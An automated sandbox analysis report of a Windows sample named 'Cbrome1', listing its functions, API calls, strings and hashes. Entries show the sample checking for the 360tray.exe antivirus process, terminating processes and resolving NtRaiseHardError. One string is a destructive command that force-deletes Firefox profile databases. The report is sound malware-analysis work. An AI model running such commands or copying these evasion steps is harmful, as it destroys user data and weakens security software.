Part of subcall function 0000023A29E12BA0: GetProcAddress.KERNEL32 ref: 0000023A29E12C51
Part of subcall function 0000023A29E12BA0: FreeLibrary.KERNEL32 ref: 0000023A29E12CA9
Part of subcall function 0000023A29E12BA0: FreeLibrary.KERNEL32 ref: 0000023A29E12CB7

Strings

OpenInputDesktop, xrefs: 0000023A29E12D1A
OpenDesktopA, xrefs: 0000023A29E12D2D
user32.dll, xrefs: 0000023A29E12D05
CloseDesktop, xrefs: 0000023A29E12D3D

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: CloseDesktop$OpenDesktopA$OpenInputDesktop$user32.dll
API String ID: 2449869053-3711086354
Opcode ID: 510d16b2c1c99bb46a5f25ad315769a2d06fe4b01968ba76cc41fb940420ab36
Instruction ID: d3b269b8d97fcd02749d26f2f06775974b2c20871f69c59b60459a18da585400
Opcode Fuzzy Hash: 510d16b2c1c99bb46a5f25ad315769a2d06fe4b01968ba76cc41fb940420ab36
Instruction Fuzzy Hash: 2D112E30315B4182FA44EB12E858B7A63B4BB89FC0F48003DED9A47B59DF7CC6668706

Function 0000023A29E2C5D0 Relevance: 15.3, APIs: 10, Instructions: 253COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 0000023A29E2C6F7

Part of subcall function 0000023A29E29FFC: GetLastError.KERNEL32 ref: 0000023A29E2A060
Part of subcall function 0000023A29E29FFC: free.LIBCMT ref: 0000023A29E2A0DE

free.LIBCMT ref: 0000023A29E2C8BF
free.LIBCMT ref: 0000023A29E2C8CF
free.LIBCMT ref: 0000023A29E2C8DF
free.LIBCMT ref: 0000023A29E2C8EB
free.LIBCMT ref: 0000023A29E2C940
free.LIBCMT ref: 0000023A29E2C948
free.LIBCMT ref: 0000023A29E2C950
free.LIBCMT ref: 0000023A29E2C958
free.LIBCMT ref: 0000023A29E2C962

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: free$ErrorInfoLast
String ID:
API String ID: 189849726-0
Opcode ID: ed597548c62d6f293f89439e5fe85e9590073bf69dc433b741745838140ad289
Instruction ID: 0a7024993b4aefc74a4d35d19adf3132ded5f48488ca84b48082509f92a1b57a
Opcode Fuzzy Hash: ed597548c62d6f293f89439e5fe85e9590073bf69dc433b741745838140ad289
Instruction Fuzzy Hash: D1B1BC32A0478096E714DF29E448BAE77B4F749F84F844139EEC987796DB39C621CB01

Function 0000023A29E2F104 Relevance: 15.2, APIs: 10, Instructions: 250COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000023A29E2F4AE), ref: 0000023A29E2F1F7
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000023A29E2F4AE), ref: 0000023A29E2F276
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000023A29E2F4AE), ref: 0000023A29E2F31D
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000023A29E2F4AE), ref: 0000023A29E2F343

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: ByteCharMultiWide$Info
String ID:
API String ID: 1775632426-0
Opcode ID: 1842b7b9aeb76f450a757d8ddac4bd04b4d2bf37fa62d8c5c4ecf23dbc8fb625
Instruction ID: 7e51558835c44b4bb792f00484940f286ea0a8137edd3ea4833a76fd653a5512
Opcode Fuzzy Hash: 1842b7b9aeb76f450a757d8ddac4bd04b4d2bf37fa62d8c5c4ecf23dbc8fb625
Instruction Fuzzy Hash: F9A1B172B0478046EB218F259418B6B26B2B745FA4F984A3D9ED9477C6DB3CCA64C343

Function 0000023A29E2A690 Relevance: 15.2, APIs: 10, Instructions: 206COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,0000023A29E2A9CD), ref: 0000023A29E2A72A
malloc.LIBCMT ref: 0000023A29E2A793
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,0000023A29E2A9CD), ref: 0000023A29E2A7C7
LCMapStringW.KERNEL32(?,?,?,?,?,?,?,?,?,0000023A29E2A9CD), ref: 0000023A29E2A7EE
LCMapStringW.KERNEL32(?,?,?,?,?,?,?,?,?,0000023A29E2A9CD), ref: 0000023A29E2A836
malloc.LIBCMT ref: 0000023A29E2A893

Part of subcall function 0000023A29E25728: _FF_MSGBANNER.LIBCMT ref: 0000023A29E25758
Part of subcall function 0000023A29E25728: RtlAllocateHeap.NTDLL ref: 0000023A29E2577D
Part of subcall function 0000023A29E25728: _callnewh.LIBCMT ref: 0000023A29E25796
Part of subcall function 0000023A29E25728: _errno.LIBCMT ref: 0000023A29E257A1
Part of subcall function 0000023A29E25728: _errno.LIBCMT ref: 0000023A29E257AC

LCMapStringW.KERNEL32(?,?,?,?,?,?,?,?,?,0000023A29E2A9CD), ref: 0000023A29E2A8C8
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,0000023A29E2A9CD), ref: 0000023A29E2A908
free.LIBCMT ref: 0000023A29E2A91C
free.LIBCMT ref: 0000023A29E2A92D

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: ByteCharMultiStringWide$_errnofreemalloc$AllocateHeap_callnewh
String ID:
API String ID: 1390791636-0
Opcode ID: 439ca01c0b534294e515a0b1220c20a2ada1fbbfb490736fa7cba21e11b63feb
Instruction ID: 86d0a73452588872f7f6eba55b744e3c3b189241973e393057062e4d0f4db8e1
Opcode Fuzzy Hash: 439ca01c0b534294e515a0b1220c20a2ada1fbbfb490736fa7cba21e11b63feb
Instruction Fuzzy Hash: 2681BF32A0478086FB248F66E448B5A76F5F748FA4F540639EE9943BD5DB3CC6218701

Function 0000023A29E1E280 Relevance: 15.1, APIs: 10, Instructions: 121synchronizationsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E119A0: WSAStartup.WS2_32 ref: 0000023A29E11A19
Part of subcall function 0000023A29E119A0: CreateEventA.KERNEL32 ref: 0000023A29E11A2A

Part of subcall function 0000023A29E11BF0: ResetEvent.KERNEL32 ref: 0000023A29E11C2D
Part of subcall function 0000023A29E11BF0: timeGetTime.WINMM ref: 0000023A29E11C3F
Part of subcall function 0000023A29E11BF0: socket.WS2_32 ref: 0000023A29E11C66

CreateEventA.KERNEL32 ref: 0000023A29E1E32E
setsockopt.WS2_32 ref: 0000023A29E1E383
CancelIo.KERNEL32 ref: 0000023A29E1E38D
closesocket.WS2_32 ref: 0000023A29E1E3A1
SetEvent.KERNEL32 ref: 0000023A29E1E3AE
WaitForSingleObject.KERNEL32 ref: 0000023A29E1E40D
Sleep.KERNEL32 ref: 0000023A29E1E418
WaitForSingleObject.KERNEL32 ref: 0000023A29E1E42B
WaitForSingleObject.KERNEL32 ref: 0000023A29E1E438
Sleep.KERNEL32 ref: 0000023A29E1E44E

Part of subcall function 0000023A29E11AC0: Sleep.KERNEL32(?,?,?,0000023A29E11AA4), ref: 0000023A29E11ADC
Part of subcall function 0000023A29E11AC0: CloseHandle.KERNEL32(?,?,?,0000023A29E11AA4), ref: 0000023A29E11AEB
Part of subcall function 0000023A29E11AC0: CloseHandle.KERNEL32(?,?,?,0000023A29E11AA4), ref: 0000023A29E11AFA
Part of subcall function 0000023A29E11AC0: CloseHandle.KERNEL32(?,?,?,0000023A29E11AA4), ref: 0000023A29E11B0C
Part of subcall function 0000023A29E11AC0: WSACleanup.WS2_32 ref: 0000023A29E11B12
Part of subcall function 0000023A29E11AC0: VirtualFree.KERNEL32(?,?,?,0000023A29E11AA4), ref: 0000023A29E11B29
Part of subcall function 0000023A29E11AC0: VirtualFree.KERNEL32(?,?,?,0000023A29E11AA4), ref: 0000023A29E11B4D
Part of subcall function 0000023A29E11AC0: VirtualFree.KERNEL32(?,?,?,0000023A29E11AA4), ref: 0000023A29E11B6F
Part of subcall function 0000023A29E11AC0: VirtualFree.KERNEL32(?,?,?,0000023A29E11AA4), ref: 0000023A29E11B9C
Part of subcall function 0000023A29E11AC0: VirtualFree.KERNEL32(?,?,?,0000023A29E11AA4), ref: 0000023A29E11BB7
Part of subcall function 0000023A29E11AC0: VirtualFree.KERNEL32(?,?,?,0000023A29E11AA4), ref: 0000023A29E11BD2

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: FreeVirtual$Event$CloseHandleObjectSingleSleepWait$Create$CancelCleanupResetStartupTimeclosesocketsetsockoptsockettime
String ID:
API String ID: 1609788701-0
Opcode ID: 5be1d2db3d2cf4a8f60e120e3a7be8c171a668c2326ee10cb714a65c25129b90
Instruction ID: eacdafdb16ad31e9e6a7661e7ea2159e529c3b7d316eafb14326cc2cefa0051a
Opcode Fuzzy Hash: 5be1d2db3d2cf4a8f60e120e3a7be8c171a668c2326ee10cb714a65c25129b90
Instruction Fuzzy Hash: B3515D32610B8086E720DF35E848B9A7774F785BA4F54022AEEAD47B95CF3CCA55C741

Function 0000023A29E1F1D0 Relevance: 15.1, APIs: 10, Instructions: 62sleepprocessstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0000023A29E1F1F7
Process32First.KERNEL32 ref: 0000023A29E1F225
lstrcmp.KERNEL32 ref: 0000023A29E1F238
OpenProcess.KERNEL32 ref: 0000023A29E1F24C
TerminateProcess.KERNEL32 ref: 0000023A29E1F25F
CloseHandle.KERNEL32 ref: 0000023A29E1F268
Process32Next.KERNEL32 ref: 0000023A29E1F276
Sleep.KERNEL32 ref: 0000023A29E1F285
CloseHandle.KERNEL32 ref: 0000023A29E1F28E
CloseHandle.KERNEL32 ref: 0000023A29E1F2C5

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: CloseHandle$ProcessProcess32$CreateFirstNextOpenSleepSnapshotTerminateToolhelp32lstrcmp
String ID:
API String ID: 3983807665-0
Opcode ID: 9a4ad9ec79557f838d5c850d1e15d38df011c5af4594aac11a6b4254f04b6826
Instruction ID: 11831ce8abec2b58ed24713acc0f79421e617c3c8de455a0b9cc8a139c1c4bff
Opcode Fuzzy Hash: 9a4ad9ec79557f838d5c850d1e15d38df011c5af4594aac11a6b4254f04b6826
Instruction Fuzzy Hash: 97212F35304B4081FB648B21E85CBAB63B5FB8CF94F884538DDAA46794DF3CC665CA06

Function 0000023A29E2902C Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetStartupInfoW.KERNEL32 ref: 0000023A29E2904D

Part of subcall function 0000023A29E2537C: Sleep.KERNEL32(?,?,ceil,0000023A29E24907,?,?,?,0000023A29E23209,?,?,?,?,0000023A29E33CCA), ref: 0000023A29E253C1

GetFileType.KERNEL32 ref: 0000023A29E291B8
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 0000023A29E291F6

Strings

@, xrefs: 0000023A29E292B1

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: CountCriticalFileInfoInitializeSectionSleepSpinStartupType
String ID: @
API String ID: 3473179607-2766056989
Opcode ID: 4ef9daa8ef8e328afaa7914443f25a4f1d3113b308b25f51eb380e23cebb4cf6
Instruction ID: 7c8948553066c8dba09201e6b8c08f07e3658021c4495f57a9c1c6bb10081fcd
Opcode Fuzzy Hash: 4ef9daa8ef8e328afaa7914443f25a4f1d3113b308b25f51eb380e23cebb4cf6
Instruction Fuzzy Hash: 16817F72604B8486EB14CF25DA48B1A37A4F768B74F585338CEBA432D1EB3CC665C306

Function 0000023A29E25128 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

_lock.LIBCMT ref: 0000023A29E25151

Part of subcall function 0000023A29E29B98: _amsg_exit.LIBCMT ref: 0000023A29E29BC2

RtlDecodePointer.NTDLL ref: 0000023A29E25184
RtlDecodePointer.NTDLL ref: 0000023A29E251A2
RtlDecodePointer.NTDLL ref: 0000023A29E251E2
RtlDecodePointer.NTDLL ref: 0000023A29E251FC
RtlDecodePointer.NTDLL ref: 0000023A29E2520C
ExitProcess.KERNEL32 ref: 0000023A29E25298

Strings

ceil, xrefs: 0000023A29E25138

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: DecodePointer$ExitProcess_amsg_exit_lock
String ID: ceil
API String ID: 3411037476-3069211559
Opcode ID: e2e3b51d05ac2f4ea72abadf658c529adedca980e58158798a595591db0a13ac
Instruction ID: c41f9e0d1904aa26301fc454b19cddf6f30e2f680d23558eb85fd61185506404
Opcode Fuzzy Hash: e2e3b51d05ac2f4ea72abadf658c529adedca980e58158798a595591db0a13ac
Instruction Fuzzy Hash: E8418D32A16B4081FB509B11FD58B2B62B5B798F94F580039EECE437A5EF3CC6658706

Function 0000023A29E12AC0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 59stringprocessCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0000023A29E12AD6

Part of subcall function 0000023A29E23290: malloc.LIBCMT ref: 0000023A29E232AA

Process32First.KERNEL32 ref: 0000023A29E12B0D
lstrcmpi.KERNEL32 ref: 0000023A29E12B27
Process32Next.KERNEL32 ref: 0000023A29E12B37
lstrcmpi.KERNEL32 ref: 0000023A29E12B4C
Process32Next.KERNEL32 ref: 0000023A29E12B5C
CloseHandle.KERNEL32 ref: 0000023A29E12B73

Strings

360tray.exe, xrefs: 0000023A29E12B17, 0000023A29E12B41

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Process32$Nextlstrcmpi$CloseCreateFirstHandleSnapshotToolhelp32malloc
String ID: 360tray.exe
API String ID: 2114354-563812762
Opcode ID: 0a80cdac67bdaee33adcad855c3420713f87a426b057a216acdd1655a8540214
Instruction ID: d79168d1932e506694ea8ddcdde950dbed20bc38897241673aee28856f0c5709
Opcode Fuzzy Hash: 0a80cdac67bdaee33adcad855c3420713f87a426b057a216acdd1655a8540214
Instruction Fuzzy Hash: 98215E31314B4092FB549F22E898A6B63B4B788F80F5C5039DE9A47794DF3CCAA5CB05

Function 0000023A29E12F20 Relevance: 13.6, APIs: 9, Instructions: 99threadCOMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 0000023A29E12F37
GetWindowThreadProcessId.USER32 ref: 0000023A29E12F63
GetCurrentProcessId.KERNEL32 ref: 0000023A29E12F6B
GetCurrentThreadId.KERNEL32 ref: 0000023A29E12F77
GetWindowTextA.USER32 ref: 0000023A29E12F8D
InternalGetWindowText.USER32 ref: 0000023A29E12FD6
WideCharToMultiByte.KERNEL32 ref: 0000023A29E12FFA
WideCharToMultiByte.KERNEL32 ref: 0000023A29E13021
GetWindowTextA.USER32 ref: 0000023A29E1306C

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Window$Text$ByteCharCurrentMultiProcessThreadWide$Internal
String ID:
API String ID: 3111847906-0
Opcode ID: 0fdf438269659fc0fa65afeff1c2bec110f1865e7b9a251698ba59ba194f47bd
Instruction ID: fb85a2f87835b585d4714dd096d62da80322b54774e2046f8d3cd4af8e937746
Opcode Fuzzy Hash: 0fdf438269659fc0fa65afeff1c2bec110f1865e7b9a251698ba59ba194f47bd
Instruction Fuzzy Hash: C831A57270474086FB109B26B808A2F62B5F785FD4F58113CAED647BA4DF3CCA658B05

Function 0000023A29E1E723 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 0000023A29E1E72A
GetProcAddress.KERNEL32 ref: 0000023A29E1E73A
GetModuleHandleA.KERNEL32 ref: 0000023A29E1E74A
GetProcAddress.KERNEL32 ref: 0000023A29E1E75A

Strings

RtlAdjustPrivilege, xrefs: 0000023A29E1E730
NtRaiseHardError, xrefs: 0000023A29E1E750
ntdll.dll, xrefs: 0000023A29E1E723, 0000023A29E1E740

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtRaiseHardError$RtlAdjustPrivilege$ntdll.dll
API String ID: 1646373207-3189222469
Opcode ID: ab13eb02454ac93fcd2d64e85cb7ad2ec888a7379b4bcbbceb6dd2d3d825901a
Instruction ID: db16e41441672060db38b227381af0cfe5e6e56040ae343b2ba0addf8fb0ce01
Opcode Fuzzy Hash: ab13eb02454ac93fcd2d64e85cb7ad2ec888a7379b4bcbbceb6dd2d3d825901a
Instruction Fuzzy Hash: E6011D32610B4692EB10DBA5F458EA66375FB98B98F481029DE8D07B24DE7CC299CB05

Function 0000023A29E29AB0 Relevance: 12.1, APIs: 8, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

_FF_MSGBANNER.LIBCMT ref: 0000023A29E29AD7

Part of subcall function 0000023A29E2A4A4: _set_error_mode.LIBCMT ref: 0000023A29E2A4AD
Part of subcall function 0000023A29E2A4A4: _set_error_mode.LIBCMT ref: 0000023A29E2A4BC

Part of subcall function 0000023A29E2A244: _set_error_mode.LIBCMT ref: 0000023A29E2A289
Part of subcall function 0000023A29E2A244: _set_error_mode.LIBCMT ref: 0000023A29E2A29A
Part of subcall function 0000023A29E2A244: GetModuleFileNameW.KERNEL32 ref: 0000023A29E2A2FC

Part of subcall function 0000023A29E24F94: ExitProcess.KERNEL32 ref: 0000023A29E24FA3

Part of subcall function 0000023A29E252FC: malloc.LIBCMT ref: 0000023A29E25327
Part of subcall function 0000023A29E252FC: Sleep.KERNEL32(?,?,ceil,0000023A29E29B11,?,?,?,0000023A29E29BBB,?,?,00000000,0000023A29E24875,?,?,00000000,0000023A29E2492C), ref: 0000023A29E2533A

_errno.LIBCMT ref: 0000023A29E29B19
_lock.LIBCMT ref: 0000023A29E29B2D
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,?,0000023A29E29BBB,?,?,00000000,0000023A29E24875,?,?,00000000,0000023A29E2492C,?,?,?,0000023A29E23209), ref: 0000023A29E29B43
free.LIBCMT ref: 0000023A29E29B50
_errno.LIBCMT ref: 0000023A29E29B55
RtlLeaveCriticalSection.NTDLL ref: 0000023A29E29B78

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _set_error_mode$CriticalSection_errno$CountExitFileInitializeLeaveModuleNameProcessSleepSpin_lockfreemalloc
String ID:
API String ID: 113790786-0
Opcode ID: 86b9dc4b091e1531f1f1660560b6c68a568f69c3ca3f9b6cc957dd92b27819b6
Instruction ID: 1e210a06571df3c5382b2cdc2ced2dfc54b2d23ae5bf95e073036ed87346f158
Opcode Fuzzy Hash: 86b9dc4b091e1531f1f1660560b6c68a568f69c3ca3f9b6cc957dd92b27819b6
Instruction Fuzzy Hash: D0216F31E0574482F664AB61E60CBAB6274FB94F80F14613CDDCA476D6CF7CC6608756

Function 0000023A29E28A90 Relevance: 12.0, APIs: 8, Instructions: 39COMMON

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 0000023A29E28A9D
_errno.LIBCMT ref: 0000023A29E28AA5
_invalid_parameter_noinfo.LIBCMT ref: 0000023A29E28AB1
GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db,?,?,0000023A29E2408F), ref: 0000023A29E28AC2
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db,?,?,0000023A29E2408F), ref: 0000023A29E28ACD
_errno.LIBCMT ref: 0000023A29E28ADA

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _errno$AttributesErrorFileLast__doserrno_invalid_parameter_noinfo
String ID:
API String ID: 2953107838-0
Opcode ID: f747f3ee9be4ded5c3729201c636670468750acdd607b39ec7231ba446a72a78
Instruction ID: 2116c4f2891280a54f609bbaf25a865edbc2c14f11c4082d032bc13513e01fc4
Opcode Fuzzy Hash: f747f3ee9be4ded5c3729201c636670468750acdd607b39ec7231ba446a72a78
Instruction Fuzzy Hash: 5E011DB5E003048AFB652BB4994EB6B21B07B65F61F44653CDEF1462C2CABC4B70CA13

Function 0000023A295EBF88 Relevance: 11.6, APIs: 9, Instructions: 379COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0000023A295EC277
free.LIBCMT ref: 0000023A295EC287
free.LIBCMT ref: 0000023A295EC297
free.LIBCMT ref: 0000023A295EC2A3
free.LIBCMT ref: 0000023A295EC2F8
free.LIBCMT ref: 0000023A295EC300
free.LIBCMT ref: 0000023A295EC308
free.LIBCMT ref: 0000023A295EC310
free.LIBCMT ref: 0000023A295EC31A

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f32bca21d81294411377cb91f11f61de43356bc1920308245a35a8ea1693f131
Instruction ID: 2ad30ebf912ecbd8d4a5f79763fd59515a6b44db8fb4e5796fa81fb2d9996122
Opcode Fuzzy Hash: f32bca21d81294411377cb91f11f61de43356bc1920308245a35a8ea1693f131
Instruction Fuzzy Hash: 40D19730718A848FD759DF68D4593AA77E0FB59700F00417EE8CAC7292DB3ADA59C782

Function 0000023A29E2BFB0 Relevance: 10.8, APIs: 7, Instructions: 305COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0000023A29E2C034
free.LIBCMT ref: 0000023A29E2C059
free.LIBCMT ref: 0000023A29E2C41E
free.LIBCMT ref: 0000023A29E2C42A

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 230abf8bd2d6fe58f199a5d982aed6ada3d7d01b665ea2997f38d06e056d1801
Instruction ID: 888b641e9726e64f8914afd6b828cfb8102d2973e6a1cef3ac395b41f513acca
Opcode Fuzzy Hash: 230abf8bd2d6fe58f199a5d982aed6ada3d7d01b665ea2997f38d06e056d1801
Instruction Fuzzy Hash: 01D17D32B00B5085EB20DB62E489EEF77B4F799B84F40552A9E8D43796EF78C216C741

Function 0000023A29E17CE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E23290: malloc.LIBCMT ref: 0000023A29E232AA

std::exception::exception.LIBCMT ref: 0000023A29E17DA7
free.LIBCMT ref: 0000023A29E17E17
free.LIBCMT ref: 0000023A29E17E29
free.LIBCMT ref: 0000023A29E17E3B
free.LIBCMT ref: 0000023A29E17E4D

Strings

bad locale name, xrefs: 0000023A29E17D94

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID: bad locale name
API String ID: 4069110180-1405518554
Opcode ID: 95a9697bb6755bd2649860b9bd4432e613ca6325910d1b302bb7e252e0bbe095
Instruction ID: bf05cfc4f56c821921b5e7f425f724c6db7dc0b6862c95b338eae555be1dec5b
Opcode Fuzzy Hash: 95a9697bb6755bd2649860b9bd4432e613ca6325910d1b302bb7e252e0bbe095
Instruction Fuzzy Hash: 8F516D32B01B4099FB14DBB0E459BDE33B5BB44B58F04043DDE8917A8ADF388665C345

Function 0000023A295E395C Relevance: 10.6, APIs: 7, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 0000023A295E856C: _lock.LIBCMT ref: 0000023A295E8593
Part of subcall function 0000023A295E856C: _errno.LIBCMT ref: 0000023A295E85A7
